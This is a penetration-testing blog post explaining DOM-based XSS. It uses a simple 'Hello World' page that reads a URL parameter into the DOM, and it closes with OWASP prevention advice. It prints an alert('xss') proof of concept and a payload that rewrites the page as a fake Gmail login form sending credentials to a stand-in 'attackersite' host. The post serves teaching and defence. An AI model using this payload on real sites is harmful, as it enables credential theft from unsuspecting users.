Common Web Application Vulnerabilities - Part 1.3

By Dan Kottmann ·

In this series of posts, my colleagues and I will dig into some specific, common web application vulnerabilities we observe regularly while performing network and application pentests. The intention of this series is to further expand upon a lot of the great information that already exists on the topic while preemptively addressing common questions we receive from our customers.

Part 1.3: DOM-Based XSS

In Part 1.1 and Part 1.2 of this series on XSS, I presented an overview of the vulnerability as well as exploitation and details of two specific varieties: Reflected and Stored XSS. In this third and final XSS discussion, I’ll cover the details of an overlapping variant known as DOM-based XSS.

Before diving into the vulnerability, let’s first answer the question: “What is a DOM?” This concept may be a little harder to digest if you are unfamiliar with web development. The DOM (Document Object Model) is a logical structuring and representation of HTML and XML data through which programming languages (e.g. JavaScript) can interact. It’s an API (Application Programming Interface) for accessing and manipulating data and the structure of the documents.

So, with that said, what is DOM-based XSS? It’s basically the improper usage of user-supplied data when accessing or manipulating the DOM. Make no sense? Read on…

DOM-based XSS is not considered a standalone classification of XSS as it overlaps somewhat with Reflected and Stored XSS. However, it’s called out separately due to one very important distinction. Unlike Reflected and Stored XSS - whose payloads are embedded in the HTML responses sent from the server - DOM-based XSS exists almost purely in the victim’s browser.[1] Although oftentimes a payload may be introduced via a GET URL parameter (similar to Reflected XSS), the payload is NOT embedded in the response sent from the server. Instead, the server response contains legitimate script that utilizes the payload in an insecure manner.

Let’s look at an example. Assume the following page exists on the web server.

This code is extremely simple. It’s a basic “Hello World” page that uses JavaScript to dynamically update the HTML data (in the DOM) with a value that is passed in as the ‘name’ URL parameter. So a request for http://victimsite:8000/dom.html?name=Bob produces the following benign result:

That’s not overly exciting, but let’s look at the response a little closer.

In the section highlighted above, notice that the user name ‘Bob’ is not present in the response from the server. So what’s happening here? Well, the JavaScript code in lines 8-13 of the source code above executes when the response is rendered. This code parses the URL and dynamically updates the element based on the value it extracts from the ‘name’ parameter. This is done purely in the client’s browser AFTER the response is rendered. This explains why ‘Bob’ is not present in the response received.

Now, a simple proof-of-concept to demonstrate the presence of XSS using our standard <script>alert('xss')</script> payload:

For demonstrative purposes, let’s define a slightly different exploitation scenario. As before, a link is sent to Bob. The link contains malicious code in the ‘name’ parameter that, when executed, alters the HTML page in an attempt to steal Bob’s Gmail credentials. By leveraging this vulnerability, Alice can completely rewrite the vulnerable page to serve a malicious form that will send user credentials to a server she controls. The following payload demonstrates a simple, albeit ugly, example:

<script>$(function(){ document.write('<form method="get" action="http://attackersite:8080/">Gmail User:<input type="text" name = "u"/><p>Gmail Password:<input type="password" name = "p"/><p><input type="submit" value="Login"/></form>');});</script>

This looks pretty ugly, but it simply rewrites the document (‘document.write’) with a custom HTML form that sends the submitted user credentials to ‘attackersite’. The payload can be obfuscated a number of ways to reduce the chance of detection. When Bob clicks the link, the HTML he sees is our malicious form element rather than the benign ‘hello’ example from before. Note that what you see in the screenshot are the entire contents of the visible page.

When Bob submits his credentials, Alice indeed captures his account information:

Conclusion

Whew. That was a lot. In this series, we went over what XSS is as well as three different but possibly overlapping varieties: Reflected, Stored and DOM-based. Reflected and Stored generally involve the server embedding the payload in a response from the server, whereas DOM-based XSS is almost 100% client side. DOM-based is interesting because there are potential scenarios where exploitation never touches the server and is, therefore, undetectable by IDS and WAF products.

So what can you do to prevent XSS? While input validation and sanitization can be effective, it’s difficult to capture the numerous potential variations of a single exploit attempt. Therefore, the most effective recommendations, taken verbatim from the OWASP web site, are as follows:

  • Perform “context-sensitive server side output encoding.” This will neutralize user-supplied input such that it is rendered in a harmless manner even with HTML and JavaScript metacharacters present.
  • Utilize “safe JavaScript APIs” to further defend against client-side (DOM-based) attacks.

Stay tuned for additional articles in the series “Common Web Application Vulnerabilities.” Topics include SQL injection, command injection, cross-origin security and directory traversal.

Footnotes

[1] In some instances, the payload is never sent to the server and, therefore, may never be seen by an IPS or WAF.

Additional Posts